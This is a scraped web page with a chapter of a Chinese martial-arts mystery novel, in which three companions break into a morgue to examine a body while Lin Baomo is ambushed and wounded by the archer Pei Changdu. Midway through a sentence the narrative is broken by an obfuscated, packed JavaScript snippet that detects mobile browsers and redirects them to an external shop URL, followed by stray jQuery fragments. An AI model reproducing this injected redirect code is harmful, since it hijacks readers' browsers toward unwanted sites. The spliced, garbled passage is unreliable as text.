默认冷灰
24号文字
方正启体

11. 紫槐灭门

作者:胖羊博士本书字数:K更新时间:
    “早前便有高人路过那处,掐指一算就说慈善院内死气太重,罪业极深!要再细讲下去,便道是那些个横死鬼放下不下自己的孩子,魂魄整日聚于其中而不散,叫慈善院日益萧条颓败。”大嫂啧啧两声,指着地感慨道,“便是如此,曹院长也未曾轻言放弃,你说,他是不是好人?”


    “……”


    草舍内唯有冷风穿过,松鹭眨了眨眼,将这等不实言论甩到脑后,嗤笑道:“听起来倒是菩萨心肠,但几分真几分假也就不得而知了。”


    烤饼出炉,顾不得烫手,松鹭垫着药巾就急吼吼咬下第一口。


    林抱墨为她递来温茶,劝她莫贪嘴。


    “现下看来,只有去锦绣商行凑凑运气,但……”宗冶又抬眼看向初佩璟,“你我不能动用私库,又该如何买通职位,潜入其中呢。”


    “诶!”这下可好,松鹭连饼也顾不上,连连摆手叫停,“你们疯了吗,入锦绣商行需有万贯家私,且不说本舍主一文不名,便是现在要去做生意也是断断没有出路的!”


    “为何?”天真纯良的林少爷诚心发问。


    “时逢乱世,寻一安身立命之处都难,更遑论发良心财。”她双手环抱,轻蔑扫过三人,“难不成,三位凤雏麟子还想接触些地下产业?”


    “不可能!”不出意外,第一个拒绝的就是宗冶。


    剩下两位更不用说,一个个面露难色。


    于是松鹭又安心坐下,继续啃起自己半凉的烤饼来。


    初佩璟屈身蹲坐在她身侧,憾然道:“现在就什么都不做吗?”


    “有啊。”


    “什么?”


    松鹭嘿嘿一笑:“午憩!”


    于是草舍主抱着她心心念念的烧饼冲进房内,留下一院子人含恨饮西北风。


    酉时六刻,三位玄衣客攀上县衙高墙,腰间别着两捆粗绳,连通府外一棵百年老树。


    对此,初佩璟有疑问:“为什么不能直接用轻功?”


    一语点醒梦中人,松鹭猛地一拍脑门:“哦!原来还能用轻功啊!”


    林抱墨坐在骈车边,闻言也只是扬唇浅笑:“……”


    “不知舍主轻功如何?”宗冶老实地捆好粗绳,倚靠在老树边笑问。


    初佩璟亦抬举她,傲然道:“耿霜楼名士,当武艺非凡吧。”


    “这个……”松鹭打着哈哈避开目光,扭头又催促着二人赶紧上墙。


    双脚再次落地,松鹭艰难解开腰间死结,这才匆匆跟上另外两位先锋。


    世外高人箴言:除生死外都是小事,总不能为了翻墙查案连小命都丢在这县衙内,不值当。


    倒也顾不得是不是她故意寻了借口来搪塞,宗冶与初佩璟已然潜入验尸房,预备一掌敲晕当值仵作。


    松鹭忙伸手叫停,在尽己所能的范围内出声制止二人莽撞行径:“等等!留个能说话的!!”


    所幸他们下手不算快,角落里才巡逻回来的某位仵作大人逃过一劫。


    坏就坏在,他与松鹭面面相觑,最后双方都叫对方唬了一道。


    “是官差!”


    “有刺客!”


    “……”


    初佩璟眼疾手快,抽出软鞭,先一步打在仵作双膝处,叫他直接倒地不起。


    瞧他满脸狰狞,松鹭竟也觉得脚下有几分疼。


    “你们……”仵作还试图伸手指摘他们耍阴招不仁义,话没吐尽,口中就让宗冶塞入一团碎布,撑得他下颚肿痛。


    “他怎么了?”初佩璟收起软鞭,挑眉询问。


    “好像是脱臼。”松鹭将虎口抵在下巴处,做出这高深莫测的模样来。


    三人蒙着面,围在一处盯得那仵作实在是心慌。


    “咳咳,”宗冶清清嗓,压着嗓子催促她们前去寻找曹燕尸身,“我来审他。”


    “好。”初佩璟将头一扭,旋即便听见松鹭闹着叫唤自己肚子疼要去解手。


    “你,莫非是怕尸……”


    “胡说八道!”素来好面子的草舍主很快否认,并附上证据,“若我怕见尸身,我还能向胡——上峰们提出要重新验尸吗?”


    虽然胡滦石那个死心眼的没同意,累得他们还得等入夜了再来寻新线索。


    宗冶扶额,挥了挥手中匕首,叫她早去早回:“也罢也罢,我们在此等你一时半刻就是。”


    得了首肯,松鹭很快捂着上腹小跑出门。


    冷刀在命穴出徘徊,仵作额间冷汗出了一批又一批,只能将双手合十恳求两位“义士”高抬贵手。


    初佩璟向来不忍见旁人低声下气,捏着鼻子与宗冶讨价还价:“没了舍主,咱们俩也不会医术,不妨解了他的禁言,听听线索。”


    这倒也可行,总归他们是为探案而来,并非谋财害命。


    “也罢。”宗冶颔首,两三下就将人齿骨复位,又丢出一贯银钱,阴森森恐吓道,“把曹燕的尸格交出来,钱和命,你自己选吧。”


    有时候初佩璟真怀疑某位国舅爷是不是话本看多了,怎的一个人有八台戏可以演。


    再说回林抱墨,一人独坐的时辰尤其难熬,还是在这样夜里。


    双脚才能下地,连久站都不行,也不知猴年马月才能重新拿剑习武。


    正如此想着,东侧忽有一阵诡谲掌风侵袭而来,将他从骈车上打落,愣是靠手肘撑着身体,又在泥地里滚了几圈才缓过神。


    血痕漫了一地,他已来不及顾忌身上的些许痛楚,只愕然抬头望向来人。


    一身墨色冰绸长衣,玉带裹腰,左悬暗囊,身前挂玉,簪星曳月,好不招摇。


    玄色诡笑铁面将其整张面容遮盖,其中几缕白散着幽光,瞧着愈发瘆人。


    一出手即是杀招,想是来者不善。


    其人施以轻功,落于车马上方,大有盘踞侵占之意。


    “你是何人?!”


    蝼蚁之辩,来人并不放在心上,只背过手,冷嗤一声,道:“松鹭那个叛徒呢?”


    听着声音,似是位男子。


    叛徒?这又该从何论起?


    少年并不与他多费唇舌,取下身后长弓就要一箭折他性命。


    “等等!”林抱墨急忙叫停,连说自己乃过路者,并非松鹭相熟,“江湖客不斩平头百姓,是紫槐门的规矩!”


    “紫槐门?”少年像是听了什么笑话,耻笑几声后才泰然道,“当今天下哪还有紫槐门?”


    此人言行无状,实在放肆,林抱墨胸腔怒气翻腾,连带着几分惊愕都抛之脑后,愤然起身,斥道:“你什么意思?!”


    “意思就是,紫槐门早就死绝了。”少年摆手,“没了林柏权,裴楼主独步武林,何人不奉他为尊?”


    而耿霜楼的规矩,是杀生成仁。


    “呸!定然是裴长庸小人杀了我父亲!”他说得慷慨激昂,也顾不得身处何地,仇恨与愤慨已然占据意识高地。


    少年拉弓,一支羽箭破风而来,遽然


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099196|195688||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    刺入林抱墨左肩。


    故意射偏半寸,并无一箭封喉的念头。


    即便如此,没有内力缓冲,行不胜衣的病秧子也只得如其上翎羽,任人拿捏,立于风雨中便东扶西倒,不成气候。


    一阵天旋地转后,他只觉浑身酸痛难忍,旧伤崩裂漫出刺心裂肝的疼。


    “谁允你,这般论我兄长好坏。”


    东风行过,将少年额前碎发扰乱,林抱墨撑着身子,抬头对上那人目光。


    “龙舌弓,羽标箭,你是……”


    “耿霜楼,裴长渡。”


    话落,林抱墨脑中猛然闪过一道嗡鸣声,耿霜楼双星江湖闻名,白面阎罗裴长庸固然无人能敌,这十方玄煞裴长渡之箭也未尝不利。


    然天妒英才,慧极必伤,副楼主裴长渡身患隐疾药石罔顾,终日避于屋宅深居简出,直至一月前,有江湖客称其常以代楼主自居,审查耿霜楼名下十大武行。


    他既称松鹭为叛徒,莫非……


    但时间容不得他细想,左臂已然麻木,血流如注,若还要与裴长渡缠斗落不着好处。


    倒不如施以巧计,转危为安。


    想罢,林抱墨便哄着自己暂时屈身于敌,艰难弯下双膝:“小裴大人明鉴,我可将松鹭踪迹相告,并立誓再不多言耿霜楼一句是非!”


    有风拂起二人衣摆,将裴长渡送至包羞忍辱者面前。


    上弓把挑起那人下颚,裴长渡冷嗤,笑骂:“是只聪明的蝼蚁,可惜……”


    他话中有话,想来是没留余地。


    胸腔中心肺几乎凝滞,林抱墨紧攥拳头,试图动用禁忌武学强行运转内力,以求脱困。


    而明面上,他依旧需要与其人纠缠不清。


    “可惜什么?”


    “可惜枯株朽木,不识好歹。”


    贫嘴贱舌。


    一口浊气重重呼出,在清冷夜幕中化作白雾。


    两相对峙间,林抱墨眼下赤红一片,后牙紧紧咬合在一起,带着脸颊两侧皮肉也在轻微颤抖。


    裴长渡并不懔他,弓把随意点了两下就能封锁他穴道,叫他空有一脑子禁术却不得施展。


    “你打量着蒙我呢?”他一脚踹在林抱墨心口,看人生生呕出一大口血来才肯展颜。


    笑够了,笑倦了。


    他这才施舍般俯下身,如同昔年林抱墨随同父亲出游时,站在青石阶上过问街边老弱妇孺今日是否安康一般——


    闭目塞听,虚废词说。


    “林二公子,别来无恙。”


    验尸房内,松鹭久久未归,竟也错过了仵作展露拳脚的好戏。


    “鄙人不才,曾也拜过一江湖郎中为师,”说着,他又开始长吁短叹,“可县丞谷大人崇信俗法,非说死后不得随意开腹验尸,真是轻贱了我这满身功夫。”


    不过今日,郁郁不得志的仵作大人总算遇上了生平伯乐。


    “形体羸瘦,肉色痿黄,口唇发紫。”他粗粗看过一遍,又将遮羞水衣退下,还累得初佩璟基于礼教扭头避嫌,“此人有褥疮,是常年卧床所致。”


    此外,躯干与四肢遍布铜红色斑疹,连手心脚心也不曾躲过。


    为排除中毒之嫌,必要手段还是可以采取的。


    烛台摇曳,刀口划过肌肤,露出其下深藏罪孽。


    “肺上叶多有空洞,此人莫非有痨症?”


    这句话初佩璟可是听得真切,她忙向宗冶求证:“曹燕患有肺病?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)